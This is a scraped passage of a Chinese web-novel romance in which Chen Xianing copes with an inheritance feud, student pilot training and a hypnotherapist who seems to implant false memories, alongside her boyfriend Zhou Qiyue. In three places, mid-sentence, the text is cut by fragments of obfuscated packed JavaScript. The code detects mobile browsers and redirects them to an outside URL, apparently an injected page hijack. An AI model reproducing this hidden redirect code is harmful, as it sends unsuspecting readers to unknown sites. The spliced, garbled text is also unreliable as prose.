“陈小姐,要不你再重新考虑一下吧,继承遗产,让他们死了这条心。”宋晏律师语气为难,告知目前暖夏基金会的最新情况。 即使陈夏柠想置身事外,但陈家怎会对老爷子的大笔遗产坐视不理,三姐弟不停对他和副理事长施压,让他们把遗产交出来,否则就要搞垮暖夏基金。 “你应该理解陈爷爷创立暖夏的初衷,我一直想守护好它,毕竟我也是受益者。”宋晏是孤儿,青春期时患上重度抑郁,是陈淮松给他找心理医生医治,并一直资助他到大学毕业。这人倒也记恩,毕业后主动应聘暖夏,共同守护陈淮松的初心。 陈夏柠当然记得暖夏成立的原因,还不是因为她患有海洋恐惧症,曾经没少看心理医生,做心理疏导。 陈淮松许诺那个心理医生,如果他能治好孙女,就会成立一家关注青少年心理健康的基金会,让那位心理医生入驻暖夏,给他资金研发课题。 当年所有人都认为医生治好了陈夏柠,她不再头疼心慌,不再做噩梦。 后来父母一心让她上海大,根据她的分数,志愿全填了海大较为一流的理工科,最终被海洋资源与环境专业录取。 前两年的学习中,陈夏柠并没有感觉什么异样,直到大三下学期,她跟随一位教授的课题组去海边实地考察,那种对于海洋的恐惧无端周而复发。 她起初并不相信,专门去海边测试,没想到情况一次比一次严重。 其实她本专业学的挺好,再次发现自己不能见海,不能听见海浪声,陈夏柠果断放弃本专业,选择了C大的海事翻译。 陈夏柠答非所问:“宋律师,徐亮医生还在基金会吗?” “在的。” “好,我有空就去找他。”陈夏柠眸色一沉,沉吟片刻,撂下一句,“即使我签下遗嘱,陈家会不会放过基金会我不知道,但一定不会放过我。” “......” 力所不能及的时候,自保才是上上策。 陈夏柠现在的愿望不大,只想着工作能转正就行。 她去过一次飞行基地后,王书记以她工作能力不错,让她全权负责这件事,也就是说,后续学生每周去飞行基地实操训练,她都要跟着去。 那基地实在远,坐两小时的大巴车,实在是舟车劳顿,但一想到去基地能常常到周祈越,陈夏柠暂且好受点。 原本想趁着周末找徐亮医生,又被耽搁了。 有了上次的经验,大巴车进入沿海公路时,她都会把窗帘拉上,然后戴上耳机听歌,以此转移注意力。 到了基地,对接的事情全权由陈夏柠负责。 能被选拔过来的学生体能没得说,可以直接进入上机训练,考虑到他们是海大的学生,教官干脆把学生交给同校学长周祈越,让他亲自带着这帮学弟们。 陈夏柠把学生带给周祈越,自己站在一边拍照,用作新闻稿素材。 临近12月的天,即使出着大太阳,临港这边的凌风一吹,陈夏柠就止不住打喷嚏。 几个学生正围着直升机站,周祈越给他们讲解上机事项,目光瞟到站在旁边瑟瑟发抖的女生。 “你们五个人一组找一架直升机,坐上去试试。”周祈越跟他们说完,学生按照指示分批行动,他朝她走过来。 一阵嗖嗖的冷风吹过,陈夏柠的围巾随风飞扬,周祈越重新帮她把围巾缠好,只露出女生那双清润的眼眸。 她抬手把围巾往下拉了拉:“给我围成蒙面大侠了。” “......” 周祈越扯了扯唇角,摸到她冰凉的指尖,从口袋里掏出两只黑色的手套,想给她戴上,陈夏柠双手握着手机,拒绝的姿势:“不用,我还等着拍照呢。” “我们家柠柠不干记者真是亏了。”周祈越夺过她的手机,男人大掌分别握着她纤细的小手,分别塞进自己的口袋里。 一瞬间,陈夏柠手指暖和起来,愣了三秒,急忙往外抽手,“小心学生看到。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672961|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周祈越握得紧不放过她,眉梢微扬,一副不嫌事大的模样:“哪有怎样,咱俩的关系我恨不得让全世界都知道。” 陈夏柠:“......” 下一刻,已经有学生往他们这边看,笑嘻嘻地起哄吆喝:“抱一个抱一个。” 又有一拨人拍手助威:“亲一个亲一个。” “......” 陈夏柠脸色发麻,咬了下唇,小声嗔怪:“你再这样,我以后就不来了。” “我情愿你不来,看把你冻得。”周祈越松开她,把自己宿舍的钥匙给她,“照片我给你拍,你赶快回去吹吹空调。” “好。”陈夏柠点点头,实在没脸让学生看她笑话了,转身跑得极快。 身后响起周祈越的训斥声:“你们这帮小兔崽子,是不是经常为难陈老师啊。” “没有没有,我们可不敢惹学长的老婆。” “......” 陈夏柠崩溃地闭了闭眼,脸热得更厉害了。 - 学生中午休息时间是11点半到下午1点,这边点外卖很慢,有食堂供应,陈夏柠去窗口买了两份汤面,找了个角落的位置,发消息让周祈越过来。 她拿筷子和勺子,刚坐下,后侧方来了几个男人入座。 “这个周祈越是哪根葱啊,凭什么让他带学生训练,真以为自己是教官了。” “就是就是,他不过跟我们一样是搜救队小小的飞行员。” “你们还不知道吧,他就是那个凌极号的船长,被航运业封杀了,所以来我们这破地方当飞行员。” “俗话说,狗改不了吃屎,他开飞机不会出事被封杀吧。” “......” 这些难听的议论声争先恐后地钻进耳朵里,陈夏柠听得窝火,只听见“啪”的一声,她将筷子按在桌面。 随后站起身,看向身后的三位碎嘴的男人,她呵笑一声:“你们也是搜救局的?” “怎么了,这位美女。”中间的光头男人看她精致的脸蛋,抛了个媚眼。 陈夏柠从来不觉得对付这种人需要斯文,特别硬气地睥睨三人,以牙还牙道:“果然哪个行业都有蛇鼠一窝,没能力只知道背后嚼舌根的狗。” “......” 光头男旋即站起身,食指指向她,“卧槽!你骂谁呢!” 陈夏柠也不知自己哪来的勇气,看起来一点也不怂,“谁乱叫就是谁。” 与此同时,江澈正坐在一边举起手机拍视频,江逸风知道她每周六会来基地,时刻让堂弟帮忙盯着陈夏柠的动态。 光头男气得要发作,想打人的架势,旁边两位男人也一并站起来。 “别以为你是女人,我就不敢动手。” 三对一,陈夏柠的气焰猛然被比下去。 此时,江澈不再选择旁观,走过来插话:“这位是我老师,识相的就滚远点。” 江澈的名号在基地已经传遍了,他们仨也是势利眼,断断不敢招惹江氏集团的公子哥。 三个男人离开后,陈夏柠心中五味杂陈,出于礼貌,跟他道谢:“谢谢你了,江同学。” 江澈表情昭然若知,淡淡道:“你应该感谢那个让我帮你的人” 陈夏柠不置可否。 64. 催眠术 每次海大的学生来训练,周祈越能忙成陀螺,一边要完成自己的飞行考核,一边要教学生。 沈屿山回宿舍休息想起手机落在直升机上了,他所驾驶的L-422和周祈越的J-711停在一起,因为两人经常为搭档。 途径J-711时发现里面有人,沈屿山重重的拍击声瞬间将梦中人震醒。周祈越睁开惺忪的眼,打开舱门,连声音都透着疲倦:“干什么。” 沈屿山站在舱门外,打量着他三秒:“困成这狗样了,还不回宿舍好好休息。” “倒头就睡了,哪顾虑这么多,”周祈越抬手按着脑门,瞥见腕表上的时间,食堂都打烊了,“靠,忘记去食堂了。” 沈屿山环着胳膊,满脸同情地咂咂嘴:“不知道的还以为教官器重你,所以让你带海大的学生,但实际呢,明明自己的训练都忙得不可开交了,还得管你那些学弟。你可真是身兼数职,不讨好啊。” 周祈越摊靠在座椅上,扭头斜睨着他:“挖苦完了没,帮我点个外卖,手机没电了。” “哎,我哪挖苦你了。”沈屿山推他一下,让他先别睡,好声好量道:“要不你回绝教官算了,让他们另找人带学生,不能因为缺教官就理直气壮麻烦你这位学长啊,你要专心通过考核升机长呢。” 这个飞行基地原是属于搜救局和航空大学共用,搜救局的飞行救援队刚成立两年,规模并不大,固定机长就两名,今年还走了一个,所以九月份搜救局广招飞行员扩容。 周祈越也是在张瑞的介绍下来到这里。转行业意味着从零开始,况且搜救局有它的考核标准。 沈屿山混了一年才是副驾,周祈越不过三个月就做到了,他是这批学员中公认的学习能力最强那个。 “我知道你厉害,但千万不要逞强把自己当成超人。”沈屿山和他同为竞争对手却还能善意提醒,“这疲劳驾驶出事的,我可见太多了。” “行,我这就回宿舍休息。”周祈越打心底觉得沈屿山这位同事难得,自然听劝从机舱里下来,关门。 谁知一转身,陈夏柠正站在机尾处,两个男人同时看向她,女生慌张看一眼手中的饭盒,“我.....我来送饭。” 沈屿山不知自己的话她听了多少,反正走为上策,朝两人摆摆手,“不打扰二位了。” 周祈越走过去牵她的手,随口问:“什么时候来的?” 陈夏柠总是在阴差阳错中扮演一个偷听者,也就比沈屿山慢一步,言不由衷道:“刚来。” “......” 回到接待室,陈夏柠打包的汤面有些凉了,便在微波炉里热了一下,周祈越捞起筷子吃着面,边问:“你中午吃的也是这个么?” 陈夏柠乖乖坐对面看他吃饭,嗯了一声:“我去的比较晚,只剩下汤面了。” “以后就别去食堂了,我提前点好外卖。”周祈越一直记得她讨厌面条这事,抬眼看她,语气认真,“这食堂的阿姨经常为了省事做汤面,不喜欢吃的东西就不要将就。” “好。”陈夏柠点头应声,知道他已经很累了,不想影响他的心情,就没提起在食堂发生的事。 吃完饭,周祈越回宿舍躺着,担心她午饭没吃好,睡觉前点开手机给她下单了一份红豆薏米粥。 只要学生交给周祈越,他就不会让她跟着在训练场吹冷风。这样她的工作轻松了许多,只需要写一个新闻就行了。 下午陈夏柠在接待室找一个安静的办公区,打开电脑准备写稿,手边是热乎乎的红豆薏米粥,偶尔扭头看向窗外的飞机场,隐约出现他的身影。 刚敲下一行字,思绪就飘到天边云外了。 联合培养飞行员这事推进得匆匆,一下子往飞行基地塞进22名学员,并没有考虑教官只有两个。 教官以周祈越是学长的名义让他帮忙,属实有点道德绑架。 再加上这个安排林清模是支持的,周祈越夹在中间也不能说什么,毕竟九月份的时候海大就凌极号事件为周祈越发声,即使劳累他也得帮这个忙。 虽然现在的工作模式方便她和周祈越见面,但她很认同沈屿山说的话,他再怎么厉害,也不是超人,精力总归有限的。 - 现在陈夏柠算是飞行员项目的重要参与者,周一定时跟林清模汇报学生训练情况,将自己在基地看到的一五一十告知。 “老师,还有一件事.......”陈夏柠欲言又止。 林清模倒也明事理,让她打开天窗说亮话,陈夏柠就提议找一个专门负责训练本校学生的飞行教官。 “我明白,也是辛苦周祈越带那帮学生了。”林清模洞若观火,这个问题他早就想到了。 “我们也发布了招聘公告,但临港那边的条件,薪资待遇都是问题,再加上这个项目是刚提出来,我们无法明确能持续多久,所以这事一直没定下来。” 陈夏柠了然于心,原来还有这么复杂的一面。 “我等会儿把正在考虑的人员发给你,你和他们对接一下,”林清模说,“看看他们有什么要求,能不能确定下来。” “行。”陈夏柠觉得工作这事就是环环相扣,一个接一个地来。 学校外面新开了家烤肉店,鹿雯嘴馋的很,午饭时陈夏柠跟她一起去,趁着吃饭说起自己最近的工作。 “妈耶,你不觉得自己被压榨了吗?”鹿雯一针见血地指出,“这明明是书记的工作,他都推给了你。” 陈夏柠:“可能他在考验我吧。” 鹿雯漫不经心道:“他完全就是在躲林院长。” 陈夏柠茫然:“嗯?” 鹿雯环顾了下四周,起身坐她旁边,偷偷摸摸地说:“你还不知道吧,院长和书记是情敌,不对,曾经是。” “......什么?” 鹿雯继续小声说:“我听说啊,书记和院长年轻的时候追过同一个女人,后来那个女人成为了书记的老婆,林院长就一直单着,两年前书记和老婆离婚,那个女人又和院长在一起了。” “......”陈夏柠大脑宕机了几秒,捋出思绪,“那书记和院长的关系挺尴尬的。” “可不是嘛,关键前妻的现任丈夫是自己上司。”鹿雯耸了耸肩,“书记不得能避则避。” 这下陈夏柠彻底明白了,怪不得王书记每次提到林院长神色都很复杂,也怪不得他把飞行员项目推给她,原来是不想跟林院长打交道啊。 “可是,他们这层工作关系,躲得了初一也躲不了十五吧。”陈夏柠心想难不成每次跟林院长打交道的工作,书记都要推给她,那实在太可怕了,“感觉我像一个挡箭牌。” “放心,你估计就替他挡这一次。”鹿雯不愧是八卦小能手,“听说,书记已经在找其他高校了,干完这学期就离职。” “......好吧。” 知道王书记和林院长的这层关系,陈夏柠可得谨慎,以后尽量在两人面前少提对方。 林清模给她发来了三个意向简历,陈夏柠加微信跟前两人说明了下岗位的情况,他们立马果断地删微信了。 “......” 最后一个人足够让她意外,竟然是林盛,江逸风的好朋友。 根据简历可知,林盛大学毕业后一直从事民航工作,履历着实丰富。 陈夏柠本来不抱希望的,不料林盛干脆回复:【什么时候可以入职签协议?】 和林盛约见面,再到把协议交给林院长,陈夏柠整个人都是蒙的,顺利得不可思议。 “陈老师辛苦你了,频繁让你加班。”林清模夸了几句她的工作能力,又说,“明天给自己放个假吧。” “好。”陈夏柠欣然接受,最近连轴转,的确需要好好歇息了。 晚上回到家,她洗完澡爬到床上,周祈越的视频电话打过来,两人聊起这周的生活。 “今天接到通知,海大已经找好飞行教/官,明天就可以入职。”周祈越靠在床上,把手机拿近了些,审视着她看,“怎么会这么突然?” “哪突然了,林院长一直在找教官啊。”陈夏柠面无波澜地说,“这不刚好找到了。” 周祈越叹了声气:“要是换成别的教官,咱俩就没法一起工作了,不行,我得回绝这个安排。” “你敢!”陈夏柠立刻坐起身,凶巴巴地数落他,“我好不容易说服林院长找到合适的人选帮你减轻负担,你怎么还不识好人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“来找您当然是来看病的。”陈夏柠笑了笑,交代自己的情况,“我最近好像又有点恐惧海了。” “刺啦”一声,徐亮手中圆珠笔划破纸张,瞳孔一震,随即打圆场:“心理学上总会有反复情况,我们继续采取之前的治疗。” “好。” 针对于恐惧症的治疗,陈夏柠接受的是催眠术,像从前一样,进入催眠室,跟着医生的引导进入睡眠状态。 陈夏柠似睡非睡地闭上眼,感觉自己的意识有一半在清醒着,徐亮就开始问:“你看到了什么?” “我看到了海,小女孩和小男孩在沙滩上捉螃蟹。” 徐亮:“哪这两个小孩是谁?” 陈夏柠:“小女孩是我,小男孩的脸很模糊,我不知道他是谁,叫什么名字。” 徐亮屏住呼吸,循循善诱道:“那个小男孩是和你一同长大的竹马,江逸风。” “......” 陈夏柠从医院进去和出来的状态判若两人,整个人魂不守舍地走在马路上,连红绿灯都不看正要抬脚过斑马线,忽地,有人伸手抓住她的胳膊,将她拉回来。 “爷救了你,怎么报答。” 江逸风的脸出现在眼前,陈夏柠后知后觉回神,扯开他的手。 镜头一转,两人坐在公园的长椅上。 陈夏柠一口气喝完半杯水,呼吸趋于平稳。 “你去看心理医生了?”江逸风是知道她有恐惧症的,而且看她从医院出来。 “嗯。” “怎么回事,不是好了么。” 陈夏柠眸色沉了沉,沉默良久,开口:“江逸风。” “怎么了。”他转眼看她。 “你还记得我们小时候经常去海边玩么?”陈夏柠也看向他。 江逸风挪开眼,怔了一下,“记得。” 陈夏柠说:“我们在海边捡贝壳,我的手被割破了一个口子,流了好多血,我一直在哭。” 江逸风跟着点头,摸了下耳朵,扯出一个笑容:“你小时候的确爱哭。” 陈夏柠打量着他几秒,收回视线。 江逸风,你在骗我。 徐医生也在骗我。 65. 回忆 在澳洲的时候,陈夏柠也看过心理医生,国外的医疗技术总归是比国内好点,当时她费了很大劲才预约到一个专家号DoctorWilson。 她将曾经的催眠治疗过程告诉他,Wilson给出中肯的回答,说她之前一直采取保守的回避治疗,医生并没有帮她直面内心真正的恐惧。 或许她害怕的不是海,而是潜藏在深处的另一种诱因。 这句话当时陈夏柠并没怎么在意,只问他能不能彻底痊愈,Wilson给出的一套新的治疗方案,陈夏柠一看医疗费用,直接沉默了。 对于当时还是学生的她来说,能有幸挂上专家号就已经花费不少钱了。当时想的是,反正她这情况也不像之前那么严重,只要不看见海就没什么事。 她之前以为自己只是怕海,可是循环梦见同一个梦,那个梦越来越真实,甚至让她觉得那就是曾经发生的事。 在南大听讲座的时候,程淑琳说起自己儿子的案例,恐惧症连带着失忆,她曾经在医院的医学杂志上也见过。 陈夏柠不是没想过这个问题,但也只是草草了事,毕竟小时候的时光平淡无聊,被父母严格管教着,没什么可值得回忆的。 尤其是知道自己是孤儿,被养父母抛弃后,她就觉得自己的人生荒诞可笑,曾经的人生都是一场虚妄。 站在现在的角度,陈夏柠并不喜欢曾经的自己——她太懦弱自卑,时常把自己放得很低,偷偷喜欢一个人,真心却被践踏得一文不值。 她能够维持着开朗的表面是因为相信,日子是往前看的,过去并不重要。 而陈之夏的出现,让她无端想知道自己是谁。 一时半会儿,她得不到答案,这两天江逸风出现在眼前的频率特别高,他总是在她下班的路上假装跟她碰面,说一起吃个饭逛街之类的话。 陈夏柠自然会让他吃闭门羹,但江逸风也不生气,只是淡淡笑着说:“没事,爷等得起,等你原谅我那一天。” “......” 陈夏柠觉得他这反应实在不像他,江逸风不是个有耐心的人,得不到就各种强势动手动脚才是他的风格,所以每次跟他说话,她都时刻保持警惕心。 而江逸风也不傻,摸准了她的心性,知道来软的管用,至少她不再对他像惊弓之鸟。 周五学院有个参观航海博物馆的活动,办公室要去两个导员,大家都不想去就抽签决定,最终选中了陈夏柠和林思。 航海博物馆在郊区,书记是临时通知她们的,已经有一波人走半小时了,建议她们打车过去。 陈夏柠和林思拼了一辆车,坐在后座各自玩手机,基本不怎么交谈。 以前两人见面还能有说有笑,现在碍于有陈之夏这层关系在,变得客套又疏离。 林思和陈之夏是好朋友,那么她肯定知道一些风言风语,陈夏柠也不方便跟她交谈。 抵达航海博物馆,在一楼电梯口和海大教职工汇合,不像其他人那样着急跟院长和副院长打招呼,陈夏柠此刻疲于应对人际关系,缩在一边站着。 “不好意思,来晚了。” 此言一出,众人齐刷刷望向说话人。 然后大家笑脸相迎说着“江总你好”和“时间刚好,欢迎欢迎”这些话。 陈夏柠低叹一声,他真是阴魂不散。 电梯门开,两个电梯刚好把人塞满,除了一个站在外面的陈夏柠。 她讪笑了下:“你们先上,我等下一趟。” 在电梯门关上那一刻,江逸风从里面挤出来,闲散道:“太挤了,我也等下一趟吧。” 其他人没怎么在意,透过关门的缝隙,林思看见外面的两人,面部抽了抽。 “夏夏你用不着臭着一张脸给我吧。”江逸风烦躁地从口袋里掏出一支烟,正要点燃时,女生自动避让,他怯生生收回打火机,嘴边衔着未点燃的烟,继续说话:“以后当个普通朋友行不。” “江总的朋友比天上星星还多,”陈夏柠咬重朋友那两字,含沙射影道,“有我没我都一样。” “......” 这电梯不知怎么这么慢,她压根不想跟他多待一秒,随即转身爬楼梯上去。 到了六楼,其他老师都认真听讲解员的解说,陈夏柠继续降低存在感,隐身在最后面。 前面有两个导员窸窸窣窣地聊天。 “这江总怎么有兴致来参加我们学校的活动啊?” “人家刚升为总裁,说是要给母校投资科研项目,院长有什么事都得带他刷脸,树立一个良心企业家的形象。” “......” 在室内参观完,航海博物馆旁边不远就是一座废弃的港口,上个世纪遗留下的产物,曾是我国对外交流的枢纽。 大家伙纷纷往那边前去考察,当大海映入眼帘时,江逸风恍然想起什么,回头去找陈夏柠,“你没事吧。” “能有什么事。”她神色平平,扫他一眼,“我不是早就好了。” “嗯。”江逸风没再说什么。 等大家拍完照准备回去,江逸风趁机提议请大家吃饭。 也就是这时,陈夏柠收到周祈越的消息:【柠柠,我在回家的路上,中午想吃什么,我顺便去趟超市。】 她原本正心慌着,感觉胃里翻江倒海,双捧着手机笑了笑:【想吃清蒸鲈鱼。】 江逸风看见她对着手机敲字,心情不错的样子,正要过去跟她搭话。 陈夏柠径自走到林院长面前,讪笑着说:“老师不好意思,我家里还有事,就不跟大家一起去吃饭了。】 “好,你去吧。”林清模会心一笑,顺口提了句,“是周祈越集训结束回来了是吧,我可一直关注他呢,肯定能升为机长。” 陈夏柠朝他颔首笑笑:“那借老师吉言。” 港口这边很难叫到车,她定位到航海博物馆门口,小跑着过去,站在路口等车。 顷刻间,视线糊成一片,陈夏柠摇了摇头,小口呼吸着让自己冷静下来。 一辆车停在面前,她以为是自己打的车到了,直到车窗摇下露出江逸风的脸,陈夏柠猛然清醒,重新退回原位。 她这一举动,江逸风看得恼火,径自摔车门下来,走到她跟前,“我送你回去。” “不用,我叫的车很快要到了。” “你回去干什么?去见谁?”方才她和林院长的对话,他听得清楚,却还在这自取其辱的问。 “跟你有什 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她不想再多说,看地图上的车快要到,刚走出去两步。 江逸风接受不了这个回答,猛地拉住她手臂,语气不服输:“他哪点比得上我了,你为什么不肯给我一点机会。” 陈夏柠用力扯开他,整个人一闪,随之摔到了下去,手掌摩擦在地面,一阵刺痛袭来。 ...... 坐车回去的路上,她完全是躺在后座,微眯着眼。 脑海的片段快速闪回一幕幕景色。 十五岁妈妈带她参加商业晚宴,让她弹钢琴,结果一塌糊涂当众出丑,妈妈一生气把她关到钢琴房,“你怎么就这么笨,学不会就不许吃饭!” 十六岁时,她性格内向,不会跟班里的同学打交道,同学们孤立她,说她是骄矜做作的林黛玉,就知道装可怜。 十七岁时,因为数学考低分害怕回家被骂,她只能在回家的路上偷偷抹眼泪。 十八岁时,在教学楼看见江逸风搂着别的女生暧昧风情,她体会到了暗恋的酸涩。 她的学生时代就是这样,不被重视,不被偏爱。 回忆往往都是痛苦。 所以她不愿回忆。 要说她怕海,那她害怕的事情太多了,最害怕的就是过去那些回忆。 回到海天宜城,乘电梯上13楼,陈夏柠脚步不受控似的往隔壁1301户走,本想输入密码,房门正是虚掩着,像是故意留门。 进入玄关处换上那双只属于她的拖鞋,陈夏柠抬脚往里走,周祈越刚好从厨房里出来,正在解着身上的围裙看到她,散漫地笑了笑:“想吃我的清蒸鲈鱼,就考虑给个奖励。” 话音一落,小姑娘撞进他怀里,带着点冲击力,惹得他咳嗽一声。 周祈越刚缓过来,准备以趾高气昂地说,就知道你想我,所以我回来了。 谁知陈夏柠收紧换在他腰上的力度,发顶蹭着他下颌,瓮声瓮气道:“想你了。” 这一刻,她恍然明白,自己还害怕失去周祈越。 周祈越愣了一下,抬手环在她腰上,发出愉悦的笑腔:“哦,就只是抱抱啊。” 66. 照片 小姑娘的头在他胸膛蹭了下,视线缓缓上挪,往后退半步,拉开距离的意思。 虽然没抱够,周祈越还是极为配合地松开搭在她腰上的手,垂眼与她对视:“去洗手吃——” 倏忽,陈夏柠踮起脚尖,双手捧着他的脸,以吻封缄。 周祈越咽下最后一个音节,浑身一僵,眨了眨眼看她,着实惊讶她这举动。 两人确定关系后,相处平平淡淡,像两位克己复礼的夫妻。接吻和拥抱一直是周祈越主动,陈夏柠从不会在他面前撒娇,也不怎么会哄男朋友。 喜欢一个人是有欲望的,他也不例外。 每一次,周祈越向她索吻,她笨拙地回应完,都要害羞不自然半天。 周祈越不知她是不是抵触亲密接触,亦或者她需要一个慢慢适应的过程,所以,他会克制自己,以免做出什么吓到她的事。 可这次,陈夏柠甚至主动到撬开他的牙齿,唇舌探入他口中...... 好似有根紧绷的弦猛然崩断,周祈越的手掌顺着她的腰肢滑下去,托住她的臀部,一边跟她唇舌勾缠,一边轻而易举把人托起来,放到旁边新换的木质餐桌上。 陈夏柠微仰着下巴,双手扣在他脖颈,周祈越也伏低身体,瘦凸的喉结翻滚着,粗舌在她口腔内壁搅动,像只凶悍的豺狼,眼底充满了肆意占有。 周祈越还是太高了,两人一站一坐的姿势并不舒服。 渐渐地,陈夏柠的双腿被分开,男人黑色西裤压在她的白色纱裙上,周祈越双手踮在她后脑勺,让她身体躺上去。 周祈越的吻很激烈,持续两分钟后,陈夏柠有些许承受不住,口中发出呜呜的声响。 男人的舌头出来后,又顺着她的下唇辗转往下,不太温柔地啄吻着她的脖颈,再到颈窝。 陈夏柠喘息得厉害,感觉自己快要疯了,思绪稍稍回笼,想推开他。 开弓没有回头箭,谁让她先挑起头的,周祈越还在沉溺于这场男欢女爱中,抓住她乱动的左手,十指相握压在桌面,紧紧相握。 陈夏柠突然啊了一声,是疼痛的声音。 明明他还没做什么。 周祈越睁开眼,顺着她的视线望去,拿开自己的手中,看清楚她左手掌心的擦伤,带着红血丝,像是再一用力就会挤出血,触目惊心。 周祈越的理智一下子恢复,将她拉起来,心疼地看着她手掌,边问:“怎么弄的?” “没什么,是我不小心摔了一跤。”陈夏柠垂下眼,不想提江逸风让他不高兴。 周祈越没继续问下去,抱着她到客厅沙发上坐好,打开医药箱,小心翼翼地给她上药,“疼就说,我轻点。” 此刻陈夏柠傻傻地望着他涂药的样子,眼底透露着心疼和担心,好似感受不到一点疼痛,内心最冰冷孤寂的地方迎来暖阳。 “受伤了怎么不说啊。”周祈越上完药,低头吹了吹她掌心,惭愧自己方才的粗心,没察觉她手上有伤,“我刚刚差点——” 一抬眼对上她莹润的眼眸,楚楚可怜到好像下一秒就会有眼泪蹦出来。 他抬手,手指轻蹭着她的脸颊,柔声问:“怎么了?” 心里是高兴的,为什么想哭呢,陈夏柠不想将自己的消极传递给他,抿唇笑笑:“就是手疼。” 周祈越捏了下她鼻尖,“你有什么事就跟我说,在我面前不需要懂事,知道么?” 陈夏柠嗯嗯两声,肚子咕咕叫着,“我饿了。” 这几天一直是阴天,闷闷的乌云蓄积在天际,午饭过后,外面下起淅淅沥沥的小雨。 最近工作很累,两人不想出去瞎折腾,雨天待在室内看电影倒也浪漫。 周祈越在书房里找到投影仪,筛选一圈,还是卧室的一面白墙最合适,空间够大。 陈夏柠第一次来他卧室,宽敞整洁,桌上放着几本文学书籍,边边角角摆着一些船舶模型,她走过去观摩。 周祈越把房间的空调打开,往地毯上铺着一层棉被坐起来更松软些,留意到她的目光,漫不经心地说:“那是我设计的。” 陈夏柠举起那只集装箱模型,回头看他,惊讶道:“你还会设计船?” 周祈越铺好棉被,往地面丢两只抱枕,朝她走过来,身后抱住她,嗓音蛊惑勾人,“你对象会的东西可多着呢,就看你想不想挖掘。” “......” 陈夏柠脸一热,从怀中挣脱,坐过去捞起平板,认真筛选电影的样子,“想看什么?” 周祈越盘腿坐在她旁边,侧过肩一凑近,说话的气息喷洒在她脖颈,继续没个正形似的,“想看你。” 陈夏柠:“......” 天色灰蒙暗沉,哗啦啦的雨水落下,卧室的灯一关,孤男寡女看电影已属暧昧。 陈夏柠剔除一切爱情电影,选择了一个悬疑办案类的影片。 刚开始还好,两人全神贯注地看着电影,中间陈夏柠的手机响了下。 她随手点开,有一条陌生短信,仅凭内容已能猜测出是谁: 【对不起,我今天还是过激了。夏夏,我之前是谈过很多女朋友,那是因为我总是没安全感,感觉什么都是被安排好了的,从父母那边感受不到在乎。 那个时候,我总觉得只要有人陪着有人喜欢我,那么我就是快乐的。但其实我根本没把她们放在心上,也没有真正喜欢过她们。 其实当年,你出国没多久我就后悔了,我给你打过电话,发过消息和邮件,你没回复。 夏夏,我这人嚣张惯了,不会说什么好话,也只有发短信才能说出这些。 这一次,我是真的想挽留你,哪怕最后成为普通朋友也行。 你总问我小时候的事情,我想说,从我在海边救下你的那一刻开始,后来我对你保护并不只是因为把你当成邻家妹妹。】 “看什么呢?” 周祈越的声音落于头顶,陈夏柠急忙摁灭手机,淡淡道:“垃圾短信。” 这电影情节紧凑,她瞪着两眼珠子看得极为认真,最后眼睛累了,分神期间看到手机屏幕亮了。 但在周祈越这边就变了味,期间看了她好几次都没得到回应,抱着胳膊不满道:“哦,宁愿看垃圾短信都不愿意看我一眼。” “......” 陈夏柠莫名想笑,她有个爱撒娇的男朋友。 好吧,哄哄他。 她倾身,快速往他侧脸亲了一下,又正视他的眼睛,说:“我现在正在看你。” 在他瞳孔中看见自己模样,好似真的住了进去。 他就是她黑夜里的星星。 周祈越喉结翻滚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725915|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,一把将人拉进怀中坐着,就着这个姿势看电影。 后半部分他的心思已经不在电影上,亲着她发顶,亲她侧脸,额头。 窗外大雨磅礴,侵泄而下,昏暗静谧的房间热气缭绕,只有两人的喘息声,细细密密的啄吻声。 周祈越扯着她身上宽松的毛衣,露出女生白嫩的香肩,双手环在她腰腹,唇角从她脖颈一路顺延亲她肩膀。 陈夏柠微闭上眼,感觉只有他的亲吻可以让自己忘却那些不美好,只有他在身边,心里的不安和恐惧才能得以疏解。 当时心里想的是—— 无论江逸风是否真心,她都不要回头。 不只是因为周祈越眼里有她,事事把她放在第一位。 而是因为,她很喜欢周祈越。 比曾经的动心更为热烈。 屋内的暧昧因子没有持续发酵,周祈越接到一通紧急电话。 长江口有两艘货船走锚失控,白冀言机长已经前去营救,碍于现在天气恶劣,要求他和沈屿山前去支援。 周祈越快速换上挡风的冲锋衣,陈夏柠看了眼外面的狂风骤雨,担忧道:“你注意安全。” 周祈越摸了摸她的头,“那你今晚就待在我房间,哪也不许去,等我回来。” “还有,记得喝药。”他补充了句。 “好。” 陈夏柠回家喝药,洗了个澡换好睡衣,折回周祈越家。 中午吃的很饱,晚饭她就随便应付,热了热中午的剩菜。 吃完饭后,她对他家充满的好奇,想观摩一下周祈越的生活,从客厅厨房转到书房。 书房更为直观,比卧室的船舶模型要多,墙壁上挂着许多设计图,线条流畅,一气呵成,完全不逊于美术生。 书桌上立着几本破旧的实体书,应该是较为常看,陈夏柠百无聊赖地扫视着,直到看见《忒修斯之船》,想起了什么,随即抽出来翻看。 这本书精装版,又大又厚,陈夏柠手上猛地一重,没拿稳。 “砰”的一声,书本掉落在地板发出声响。 